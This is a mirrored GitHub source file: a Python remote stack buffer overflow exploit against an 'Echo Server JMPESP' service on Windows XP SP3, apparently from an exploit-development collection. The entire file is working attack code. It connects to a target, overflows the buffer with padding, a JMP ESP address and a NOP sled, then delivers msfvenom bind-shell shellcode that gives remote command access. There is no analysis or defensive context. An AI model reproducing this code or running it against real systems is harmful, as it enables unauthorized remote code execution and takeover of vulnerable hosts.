mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
VoidSec
52 lines
2.4 KiB
Python
52 lines
2.4 KiB
Python
"""
|
|
Full title: Echo Server JMPESP Remote Stack Buffer Overflow
|
|
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
|
Version: Echo Server JMPESP
|
|
Tested on: Windows XP SP3
|
|
Category: remote exploit
|
|
Platform: windows
|
|
"""
|
|
#!/usr/bin/python
|
|
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00"
|
|
|
|
import socket, sys, argparse
|
|
|
|
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
|
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
|
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
|
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
|
args = parser.parse_args()
|
|
|
|
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.connect((args.target , args.port))
|
|
shellcode=("\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xbe\x94\xa2\xf8\xda\xb1"
|
|
"\x53\x83\xea\xfc\x31\x72\x13\x03\xe6\xb1\x1a\x2f\xfa\x5e\x58"
|
|
"\xd0\x02\x9f\x3d\x58\xe7\xae\x7d\x3e\x6c\x80\x4d\x34\x20\x2d"
|
|
"\x25\x18\xd0\xa6\x4b\xb5\xd7\x0f\xe1\xe3\xd6\x90\x5a\xd7\x79"
|
|
"\x13\xa1\x04\x59\x2a\x6a\x59\x98\x6b\x97\x90\xc8\x24\xd3\x07"
|
|
"\xfc\x41\xa9\x9b\x77\x19\x3f\x9c\x64\xea\x3e\x8d\x3b\x60\x19"
|
|
"\x0d\xba\xa5\x11\x04\xa4\xaa\x1c\xde\x5f\x18\xea\xe1\x89\x50"
|
|
"\x13\x4d\xf4\x5c\xe6\x8f\x31\x5a\x19\xfa\x4b\x98\xa4\xfd\x88"
|
|
"\xe2\x72\x8b\x0a\x44\xf0\x2b\xf6\x74\xd5\xaa\x7d\x7a\x92\xb9"
|
|
"\xd9\x9f\x25\x6d\x52\x9b\xae\x90\xb4\x2d\xf4\xb6\x10\x75\xae"
|
|
"\xd7\x01\xd3\x01\xe7\x51\xbc\xfe\x4d\x1a\x51\xea\xff\x41\x3e"
|
|
"\xdf\xcd\x79\xbe\x77\x45\x0a\x8c\xd8\xfd\x84\xbc\x91\xdb\x53"
|
|
"\xc2\x8b\x9c\xcb\x3d\x34\xdd\xc2\xf9\x60\x8d\x7c\x2b\x09\x46"
|
|
"\x7c\xd4\xdc\xf3\x74\x73\x8f\xe1\x79\xc3\x7f\xa6\xd1\xac\x95"
|
|
"\x29\x0e\xcc\x95\xe3\x27\x65\x68\x0c\x56\x2a\xe5\xea\x32\xc2"
|
|
"\xa3\xa5\xaa\x20\x90\x7d\x4d\x5a\xf2\xd5\xf9\x13\x14\xe1\x06"
|
|
"\xa4\x32\x45\x90\x2f\x51\x51\x81\x2f\x7c\xf1\xd6\xb8\x0a\x90"
|
|
"\x95\x59\x0a\xb9\x4d\xf9\x99\x26\x8d\x74\x82\xf0\xda\xd1\x74"
|
|
"\x09\x8e\xcf\x2f\xa3\xac\x0d\xa9\x8c\x74\xca\x0a\x12\x75\x9f"
|
|
"\x37\x30\x65\x59\xb7\x7c\xd1\x35\xee\x2a\x8f\xf3\x58\x9d\x79"
|
|
"\xaa\x37\x77\xed\x2b\x74\x48\x6b\x34\x51\x3e\x93\x85\x0c\x07"
|
|
"\xac\x2a\xd9\x8f\xd5\x56\x79\x6f\x0c\xd3\x89\x3a\x0c\x72\x02"
|
|
"\xe3\xc5\xc6\x4f\x14\x30\x04\x76\x97\xb0\xf5\x8d\x87\xb1\xf0"
|
|
"\xca\x0f\x2a\x89\x43\xfa\x4c\x3e\x63\x2f")
|
|
|
|
buff="A"*1036
|
|
buff+="\x69\xf0\xde\x77"#77DEF069 check for bad chars in the addr
|
|
buff+="\x90"*40
|
|
buff+=shellcode
|
|
sock.send(buff)
|
|
sock.close() |